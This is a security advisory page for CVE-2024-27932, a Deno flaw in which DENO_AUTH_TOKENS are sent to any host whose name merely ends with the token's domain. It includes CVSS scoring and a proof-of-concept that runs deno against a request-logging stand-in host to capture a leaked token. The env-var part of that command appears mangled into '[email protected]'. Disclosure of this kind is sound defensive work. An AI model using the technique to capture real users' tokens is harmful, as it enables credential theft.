CVE-2024-27932

MEDIUM4.6EPSS 0.47%

Deno's improper suffix match testing for DENO_AUTH_TOKENS

發布日:2024/3/6修改日:2024/3/21

描述

### Summary Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`. ### Details [auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens. ### PoC - Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`. - Run `[email protected] deno run https://not-a-left-truncated.domain`. For example, `[email protected] deno run https://denovulnpoc.example.com` - Observe that the token intended only for the truncated domain is sent to the full domain ### Impact _What kind of vulnerability is it? Who is impacted?_ Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1MEDIUM4.6CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

參考連結(5)